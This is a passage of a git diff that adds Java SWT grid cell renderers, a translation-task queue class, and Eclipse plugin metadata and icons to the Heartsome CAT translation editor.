= false; + } + } else { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + } + } + + if (drawBackground) { + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width, getBounds().height); + } + + // 创建 TextLayout + TextLayout layout = getTextLayout(gc, item, getColumn(), false, false); + String displayStr = layout.getText(); + // 附加内部标记样å¼å‰ï¼Œå…ˆå’Œæºæ–‡æ¯”较,ä¸ä¸€æ ·çš„地方ç€è‰²å®žçŽ° + if (!tuSrcText.equals(displayStr)) { + TextStyle style = new TextStyle(layout.getFont(), colorConfigBean.getSrcDiffFgColor(), + colorConfigBean.getSrcDiffBgColor()); + List diff = Comparator.Compare(tuSrcText, displayStr); + for (Iterator iterator = diff.iterator(); iterator.hasNext();) { + Position position = iterator.next(); + layout.setStyle(style, position.offset, position.length); + } + } + // 添加标记样å¼ï¼Œå¹¶åˆ›å»ºæ ‡è®° + attachInnertTagStyle(gc, layout, true); + try { + int y = getBounds().y + textTopMargin + topMargin; + y += getVerticalAlignmentAdjustment(layout.getBounds().height, getBounds().height); + + if (item.getParent().isAutoHeight()) { + int textHeight = topMargin + textTopMargin; + for (int cnt = 0; cnt < layout.getLineCount(); cnt++) + textHeight += layout.getLineBounds(cnt).height; + textHeight += textBottomMargin + bottomMargin; + item.setData("itemHeight", textHeight); + } + + Point selection = copyEnable.getSelectionRange(getColumn(),item); + if (selection == null || selection.x == selection.y) { + layout.draw(gc, getBounds().x + leftMargin, y); + } else { + int x = getBounds().x + leftMargin; + int start = Math.max(0, selection.x); + int end = Math.min(displayStr.length(), selection.y); + layout.draw(gc, x, y, start, end - 1, getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION_TEXT), + getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION)); + attachInnertTagStyle(gc, layout, true); + } + + if (item.getParent().getLinesVisible()) { + if (isCellSelected()) { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)); + } else { + gc.setForeground(item.getParent().getLineColor()); + } + gc.drawLine(getBounds().x, getBounds().y + getBounds().height, getBounds().x + getBounds().width - 1, + getBounds().y + getBounds().height); + gc.drawLine(getBounds().x + getBounds().width - 1, getBounds().y, + getBounds().x + getBounds().width - 1, getBounds().y + getBounds().height); + } + } finally { + if (layout != null) { + layout.dispose(); + } + } + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) { + GridItem item = (GridItem) value; + + gc.setFont(item.getFont(getColumn())); + + int x = 0; + + x += leftMargin; + + int y = 0; + + Image image = item.getImage(getColumn()); + if (image != null) { + y = topMargin + image.getBounds().height + bottomMargin; + } + + // MOPR-DND + // MOPR: replaced this code (to get correct preferred height for cells in word-wrap columns) + // + // x += gc.stringExtent(item.getText(column)).x + rightMargin; + // + // y = Math.max(y,topMargin + gc.getFontMetrics().getHeight() + bottomMargin); + // + // with this code: + + int textHeight = 0; + if (!isWordWrap()) { + x += gc.textExtent(item.getText(getColumn())).x + rightMargin; + + textHeight = topMargin + textTopMargin + gc.getFontMetrics().getHeight() + textBottomMargin + bottomMargin; + } else { + int plainTextWidth; + if (wHint == SWT.DEFAULT) + plainTextWidth = getBounds().width - x - rightMargin; + else + plainTextWidth = wHint - x - rightMargin; + + TextLayout currTextLayout = new TextLayout(gc.getDevice()); + currTextLayout.setFont(gc.getFont()); + currTextLayout.setText(item.getText(getColumn())); + currTextLayout.setAlignment(getAlignment()); + currTextLayout.setWidth(plainTextWidth < 1 ? 1 : plainTextWidth); + + x += plainTextWidth + rightMargin; + + textHeight += topMargin + textTopMargin; + for (int cnt = 0; cnt < currTextLayout.getLineCount(); cnt++) + textHeight += currTextLayout.getLineBounds(cnt).height; + textHeight += textBottomMargin + bottomMargin; + + currTextLayout.dispose(); + } + + y = Math.max(y, textHeight); + + return new Point(x, y); + } + + /** + * {@inheritDoc} + */ + public boolean notify(int event, Point point, Object value) { + return false; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/TargetColunmCellRenderer.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/TargetColunmCellRenderer.java new file mode 100644 index 0000000..654c558 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/TargetColunmCellRenderer.java @@ -0,0 +1,210 @@ +/** + * MatchViewCellRenderer.java + * + * Version information : + * + * Date:Dec 26, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.translation.view; + +import net.heartsome.cat.ts.ui.grid.XGridCellRenderer; + +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TargetColunmCellRenderer extends XGridCellRenderer { + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) { + GridItem item = (GridItem) value; + gc.setFont(item.getFont(getColumn())); + boolean drawBackground = true; + + boolean drawAsSelected = isSelected(); + if (isCellSelected()) { + drawAsSelected = true; + } + gc.setForeground(item.getForeground(getColumn())); + if (drawAsSelected) { + gc.setBackground((Color) item.getParent().getData("selectedBgColor")); + } else { + if (item.getParent().isEnabled()) { + Color back = item.getBackground(getColumn()); + if (back != null) { + gc.setBackground(back); + } else { + drawBackground = false; + } + } else { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + } + } + + if (drawBackground) { + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width, getBounds().height); + } + + + TextLayout layout = getTextLayout(gc, item, getColumn(), true, true); + String displayStr = layout.getText(); + try { + int y = getBounds().y + textTopMargin + topMargin; + y += getVerticalAlignmentAdjustment(layout.getBounds().height, getBounds().height); + + if (item.getParent().isAutoHeight()) { + int textHeight = topMargin + textTopMargin; + for (int cnt = 0; cnt < layout.getLineCount(); cnt++) + textHeight += layout.getLineBounds(cnt).height; + textHeight += textBottomMargin + bottomMargin; + int heigth = (Integer) item.getData("itemHeight"); + textHeight = Math.max(textHeight, heigth); + if (textHeight != item.getHeight()) { + item.setHeight(textHeight); + item.setData("itemHeight",textHeight); + } + } +// Point selection = copyEnable.getSelectionRange(getColumn(), getRow() - 1); // row based zero ,get row first row is 1 + Point selection = copyEnable.getSelectionRange(getColumn(), item); + if(selection== null || selection.x == selection.y){ + layout.draw(gc, getBounds().x + leftMargin, y); + } else { +// textLayout.draw(gc, getBounds().x + leftMargin, y); + int x = getBounds().x + leftMargin; + int start = Math.max(0, selection.x); + int end = Math.min(displayStr.length(), selection.y); + layout.draw(gc, x, y, start, end - 1, getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION_TEXT), + getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION)); + attachInnertTagStyle(gc, layout, true); + } + + if (item.getParent().getLinesVisible()) { + if (isCellSelected()) { + // XXX: should be user definable? + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)); + } else { + gc.setForeground(item.getParent().getLineColor()); + } + gc.drawLine(getBounds().x, getBounds().y + getBounds().height, getBounds().x + getBounds().width - 1, + getBounds().y + getBounds().height); + gc.drawLine(getBounds().x + getBounds().width - 1, getBounds().y, + getBounds().x + getBounds().width - 1, getBounds().y + getBounds().height); + } + } finally { + if (layout != null) { + layout.dispose(); + } + } + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) { + GridItem item = (GridItem) value; + + gc.setFont(item.getFont(getColumn())); + + int x = 0; + + x += leftMargin; + + int y = 0; + + Image image = item.getImage(getColumn()); + if (image != null) { + y = topMargin + image.getBounds().height + bottomMargin; + + x += image.getBounds().width + 3; + } + + // MOPR-DND + // MOPR: replaced this code (to get correct preferred height for cells in word-wrap columns) + // + // x += gc.stringExtent(item.getText(column)).x + rightMargin; + // + // y = Math.max(y,topMargin + gc.getFontMetrics().getHeight() + bottomMargin); + // + // with this code: + + int textHeight = 0; + if (!isWordWrap()) { + x += gc.textExtent(item.getText(getColumn())).x + rightMargin; + + textHeight = topMargin + textTopMargin + gc.getFontMetrics().getHeight() + textBottomMargin + bottomMargin; + } else { + int plainTextWidth; + if (wHint == SWT.DEFAULT) + plainTextWidth = getBounds().width - x - rightMargin; + else + plainTextWidth = wHint - x - rightMargin; + + TextLayout currTextLayout = new TextLayout(gc.getDevice()); + currTextLayout.setFont(gc.getFont()); + currTextLayout.setText(item.getText(getColumn())); + currTextLayout.setAlignment(getAlignment()); + currTextLayout.setWidth(plainTextWidth < 1 ? 1 : plainTextWidth); + + x += plainTextWidth + rightMargin; + + textHeight += topMargin + textTopMargin; + for (int cnt = 0; cnt < currTextLayout.getLineCount(); cnt++) + textHeight += currTextLayout.getLineBounds(cnt).height; + textHeight += textBottomMargin + bottomMargin; + + currTextLayout.dispose(); + } + + y = Math.max(y, textHeight); + + return new Point(x, y); + } + + /** + * {@inheritDoc} + */ + public Rectangle getTextBounds(GridItem item, boolean preferred) { + int x = leftMargin; + Rectangle bounds = new Rectangle(x, topMargin + textTopMargin, 0, 0); + + GC gc = new GC(item.getParent()); + gc.setFont(item.getFont(getColumn())); + Point size = gc.stringExtent(item.getText(getColumn())); + + bounds.height = size.y; + + if (preferred) { + bounds.width = size.x - 1; + } else { + bounds.width = getBounds().width - x - rightMargin; + } + + gc.dispose(); + + return bounds; + } + + /** + * {@inheritDoc} + */ + public boolean notify(int event, Point point, Object value) { + return false; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/TranslationTaskContainer.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/TranslationTaskContainer.java new file mode 100644 index 0000000..c8e915c --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/TranslationTaskContainer.java @@ -0,0 +1,78 @@ +/** + * Task.java + * + * Version information : + * + * Date:2013-1-7 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.translation.view; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.ts.tm.complexMatch.IComplexMatch; +import net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TranslationTaskContainer { + + private List simpleMatchers; + + private List complexMatchers; + + public TranslationTaskContainer() { + simpleMatchers = new ArrayList(); + complexMatchers = new ArrayList(); + } + + public synchronized void clearContainer(){ + complexMatchers.clear(); + simpleMatchers.clear(); + } + + public boolean isEmpty() { + if (simpleMatchers.size() == 0 && complexMatchers.size() == 0) { + return true; + } + return false; + } + + public synchronized Object popTranslationTask() { + if (complexMatchers.size() != 0) { + return complexMatchers.remove(complexMatchers.size() - 1); + } + if (simpleMatchers.size() != 0) { + return simpleMatchers.remove(simpleMatchers.size() - 1); + } + return null; + } + + public synchronized void pushTranslationTask(Object matcher) { + if (matcher instanceof ISimpleMatcher) { + ISimpleMatcher _matcher = (ISimpleMatcher) matcher; + for (ISimpleMatcher simpleMatcher : simpleMatchers) { + if (simpleMatcher.getMathcerToolId().equals(_matcher.getMathcerToolId())) { + return; + } + } + simpleMatchers.add(0, _matcher); + } else if (matcher instanceof IComplexMatch) { + IComplexMatch _matcher = (IComplexMatch) matcher; + for (IComplexMatch complexMatcher : complexMatchers) { + if (complexMatcher.getToolId().equals(_matcher.getToolId())) { + return; + } + } + complexMatchers.add(0, _matcher); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/TypeColunmCellRenderer.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/TypeColunmCellRenderer.java new file mode 100644 index 0000000..8dce452 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/TypeColunmCellRenderer.java @@ -0,0 +1,224 @@ +/** + * MatchViewCellRenderer.java + * + * Version information : + * + * Date:Dec 26, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.translation.view; + +import net.heartsome.cat.ts.ui.grid.XGridCellRenderer; +import net.heartsome.cat.ts.ui.util.TmUtils; + +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TypeColunmCellRenderer extends XGridCellRenderer { + + private TextLayout textLayout; + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) { + GridItem item = (GridItem) value; + gc.setFont(item.getFont(getColumn())); + + boolean drawBackground = true; + + boolean drawAsSelected = isSelected(); + if (isCellSelected()) { + drawAsSelected = true; + } + gc.setForeground(item.getForeground(getColumn())); + if (drawAsSelected) { + // if (backColor == null || backColor.isDisposed()) { + gc.setBackground((Color) item.getParent().getData("selectedBgColor")); + // } else { + // gc.setBackground(backColor); + // } + } else { + // if (item.getParent().isEnabled()) { + // if (backColor == null || backColor.isDisposed()) { + // drawBackground = false; + // } else { + // gc.setBackground(backColor); + // } + // } else { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WHITE)); + // } + } + + if (drawBackground) { + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width, getBounds().height); + } + int x = leftMargin; + Image image = (Image) item.getData("typeImage"); + if (image != null) { + int y = getBounds().y; + y += (getBounds().height - image.getBounds().height) / 2; + gc.drawImage(image, getBounds().x + x, y); + x += image.getBounds().width + 3; + } + + int height = getBounds().height - bottomMargin; + if (textLayout == null) { + textLayout = new TextLayout(gc.getDevice()); + item.getParent().addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + textLayout.dispose(); + } + }); + } + textLayout.setFont(gc.getFont()); + String quality = item.getText(getColumn()); + textLayout.setText(quality); + textLayout.setAlignment(SWT.LEFT); + int width = getBounds().width - x - rightMargin; + textLayout.setWidth(width < 1 ? 1 : width); + + int y = getBounds().y + textTopMargin + topMargin; + y += getVerticalAlignmentAdjustment(textLayout.getBounds().height, height); + + // textLayout.draw(gc, getBounds().x + x, y); + String type = (String) item.getData("matchType"); + if (type.equals("TM") || type.equals("QT")) { + Color backColor = TmUtils.getMatchTypeColor(type, quality); + if (backColor != null && !backColor.isDisposed()) { + gc.setBackground(backColor); + } + gc.drawText(item.getText(getColumn()), getBounds().x + x, y); + } + if (item.getParent().getLinesVisible()) { + if (isCellSelected()) { + // XXX: should be user definable? + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)); + } else { + gc.setForeground(item.getParent().getLineColor()); + } + gc.drawLine(getBounds().x, getBounds().y + getBounds().height, getBounds().x + getBounds().width - 1, + getBounds().y + getBounds().height); + gc.drawLine(getBounds().x + getBounds().width - 1, getBounds().y, getBounds().x + getBounds().width - 1, + getBounds().y + getBounds().height); + } + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) { + GridItem item = (GridItem) value; + + gc.setFont(item.getFont(getColumn())); + + int x = 0; + + x += leftMargin; + + int y = 0; + + Image image = item.getImage(getColumn()); + if (image != null) { + y = topMargin + image.getBounds().height + bottomMargin; + + x += image.getBounds().width + 3; + } + + // MOPR-DND + // MOPR: replaced this code (to get correct preferred height for cells in word-wrap columns) + // + // x += gc.stringExtent(item.getText(column)).x + rightMargin; + // + // y = Math.max(y,topMargin + gc.getFontMetrics().getHeight() + bottomMargin); + // + // with this code: + + int textHeight = 0; + if (!isWordWrap()) { + x += gc.textExtent(item.getText(getColumn())).x + rightMargin; + + textHeight = topMargin + textTopMargin + gc.getFontMetrics().getHeight() + textBottomMargin + bottomMargin; + } else { + int plainTextWidth; + if (wHint == SWT.DEFAULT) + plainTextWidth = getBounds().width - x - rightMargin; + else + plainTextWidth = wHint - x - rightMargin; + + TextLayout currTextLayout = new TextLayout(gc.getDevice()); + currTextLayout.setFont(gc.getFont()); + currTextLayout.setText(item.getText(getColumn())); + currTextLayout.setAlignment(getAlignment()); + currTextLayout.setWidth(plainTextWidth < 1 ? 1 : plainTextWidth); + + x += plainTextWidth + rightMargin; + + textHeight += topMargin + textTopMargin; + for (int cnt = 0; cnt < currTextLayout.getLineCount(); cnt++) + textHeight += currTextLayout.getLineBounds(cnt).height; + textHeight += textBottomMargin + bottomMargin; + + currTextLayout.dispose(); + } + + y = Math.max(y, textHeight); + + return new Point(x, y); + } + + /** + * {@inheritDoc} + */ + public Rectangle getTextBounds(GridItem item, boolean preferred) { + int x = leftMargin; + + Image image = item.getImage(getColumn()); + if (image != null) { + x += image.getBounds().width + 3; + } + + Rectangle bounds = new Rectangle(x, topMargin + textTopMargin, 0, 0); + + GC gc = new GC(item.getParent()); + gc.setFont(item.getFont(getColumn())); + Point size = gc.stringExtent(item.getText(getColumn())); + + bounds.height = size.y; + + if (preferred) { + bounds.width = size.x - 1; + } else { + bounds.width = getBounds().width - x - rightMargin; + } + + gc.dispose(); + + return bounds; + } + + /** + * {@inheritDoc} + */ + public boolean notify(int event, Point point, Object value) { + return false; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/.classpath b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/.gitignore b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/.project b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/.project new file mode 100644 index 0000000..47eb150 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.ui.xliffeditor.nattable + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/META-INF/MANIFEST.MF new file mode 100644 index 0000000..fa718f9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/META-INF/MANIFEST.MF @@ -0,0 +1,41 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS UI XLIFF Editor +Bundle-SymbolicName: net.heartsome.cat.ts.ui.xliffeditor.nattable;singleton:=true +Bundle-Version: 8.0.3.R8b_v20130425 +Bundle-Activator: net.heartsome.cat.ts.ui.xliffeditor.nattable.Activator +Require-Bundle: org.eclipse.core.runtime, + org.eclipse.core.resources;bundle-version="3.5.0", + org.eclipse.core.expressions, + org.eclipse.ui, + org.eclipse.ui.ide;bundle-version="3.5.0", + net.sourceforge.nattable.core;bundle-version="2.1.0", + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0", + net.heartsome.cat.ts.core;bundle-version="1.0.0", + net.heartsome.cat.ts.ui, + net.heartsome.cat.ts.tm;bundle-version="1.0.0", + org.eclipse.core.filesystem, + net.heartsome.cat.ts.tb;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Import-Package: net.heartsome.cat.common.ui.innertag, + net.heartsome.cat.common.ui.listener, + net.heartsome.cat.common.ui.utils, + net.heartsome.cat.common.ui.wizard, + net.heartsome.cat.ts.ui, + net.heartsome.cat.ts.ui.editors, + net.heartsome.cat.ts.ui.innertag, + net.heartsome.cat.ts.ui.innertag.tagstyle, + net.heartsome.cat.ts.ui.preferencepage, + net.heartsome.cat.ts.ui.tagstyle, + net.heartsome.cat.ts.ui.util, + org.eclipse.core.filesystem, + org.eclipse.jface.text, + org.slf4j +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Localization: plugin +Export-Package: net.heartsome.cat.ts.ui.xliffeditor.nattable.editor, + net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester, + net.heartsome.cat.ts.ui.xliffeditor.nattable.qa, + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/build.properties b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/build.properties new file mode 100644 index 0000000..2e91aa4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/build.properties @@ -0,0 +1,11 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + images/,\ + plugin_en.properties,\ + plugin_zh.properties,\ + plugin.properties,\ + icons/ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/approved.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/approved.png new file mode 100644 index 0000000..b996dec Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/approved.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/fileInfo.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/fileInfo.png new file mode 100644 index 0000000..35b54b1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/fileInfo.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/hsxliff.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/hsxliff.png new file mode 100644 index 0000000..f2a1b88 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/hsxliff.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/multiFiles.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/multiFiles.png new file mode 100644 index 0000000..1dddb6b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/multiFiles.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/translated.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/translated.png new file mode 100644 index 0000000..60c2992 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/translated.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/user.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/user.png new file mode 100644 index 0000000..79bfb02 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/icons/user.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/2.PNG b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/2.PNG new file mode 100644 index 0000000..5f7ea9d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/2.PNG differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/SourceEditable/always.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/SourceEditable/always.png new file mode 100644 index 0000000..5c88e36 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/SourceEditable/always.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/SourceEditable/disable.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/SourceEditable/disable.png new file mode 100644 index 0000000..0e78e5b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/SourceEditable/disable.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/SourceEditable/once.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/SourceEditable/once.png new file mode 100644 index 0000000..9f50c31 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/SourceEditable/once.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/add-note.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/add-note.png new file mode 100644 index 0000000..7778e30 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/add-note.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/alter-font.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/alter-font.png new file mode 100644 index 0000000..7c1eeb3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/alter-font.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/cancel-edit.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/cancel-edit.png new file mode 100644 index 0000000..6a97318 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/cancel-edit.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete all tag.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete all tag.png new file mode 100644 index 0000000..9a97d1d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete all tag.png differ diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete match.png b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/images/edit/delete match.png new file mode 100644 index 0000000..9988685 Binary files 